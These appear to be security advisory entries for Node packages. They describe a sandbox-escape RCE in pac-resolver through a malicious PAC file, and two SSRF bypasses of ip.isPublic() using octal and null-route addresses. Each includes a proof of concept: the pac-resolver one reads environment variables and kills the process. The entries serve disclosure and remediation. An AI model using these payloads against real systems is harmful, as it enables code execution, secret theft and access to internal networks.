Find, fix and prevent vulnerabilities in your code.

Overview

Affected versions of this package are vulnerable to Remote Code Execution (RCE). This can occur when used with untrusted input, due to unsafe PAC file handling.

In order to exploit this vulnerability in practice, this either requires an attacker on your local network, a specific vulnerable configuration, or some second vulnerability that allows an attacker to set your config values.

NOTE: The fix for this vulnerability is applied in the node-degenerator library, a dependency is written by the same maintainer.

PoC

const pac = require('pac-resolver');

// Should keep running forever (if not vulnerable):
setInterval(() => {
    console.log("Still running");
}, 1000);

// Parsing a malicious PAC file unexpectedly executes unsandboxed code:
pac(`
    // Real PAC config:
    function FindProxyForURL(url, host) {
        return "DIRECT";
    }

    // But also run arbitrary code:
    var f = this.constructor.constructor(\`
        // Running outside the sandbox:
        console.log('Read env vars:', process.env);
        console.log('!!! PAC file is running arbitrary code !!!');
        console.log('Can read & could exfiltrate env vars ^');
        console.log('Can kill parsing process, like so:');
        process.exit(100); // Kill the vulnerable process
        // etc etc
    \`);

    f();

Remediation

Upgrade pac-resolver to version 5.0.0 or higher.

References

• GitHub Commit #1
• GitHub Commit #2
• Github Release
• Researcher Blog

Overview

ip is a Node library.

Affected versions of this package are vulnerable to Server-side Request Forgery (SSRF) via the ip.isPublic() and ip.isPrivate() functions. An attacker can interact with internal network resources by supplying specially crafted IP address such as octal localhost format ("017700000001") that is incorrectly identified as public.

Note:

This issue exists because of an incomplete fix for CVE-2024-29415.

PoC

Test octal localhost bypass:

node -e "const ip=require('ip'); console.log('017700000001 bypass:', ip.isPublic('017700000001'));" - returns true

Remediation

There is no fixed version for ip.

References

• GitHub Issue
• Security Report

Overview

ip is a Node library.

Affected versions of this package are vulnerable to Server-side Request Forgery (SSRF) via the ip.isPublic() and ip.isPrivate() functions. An attacker can interact with internal network resources by supplying specially crafted IP address such as null route ("0") that is being incorrectly identified as public.

Note: This issue exists because of an incomplete fix for CVE-2024-29415.

Exploit is only possible if the application and operating system interpret connection attempts to 0 or 0.0.0.0 as connections to 127.0.0.1.

PoC

Test null route bypass:

node -e "const ip=require('ip'); console.log('0 bypass:', ip.isPublic('0'));" - returns true

Remediation

There is no fixed version for ip.

References

• GitHub Issue
• Security Report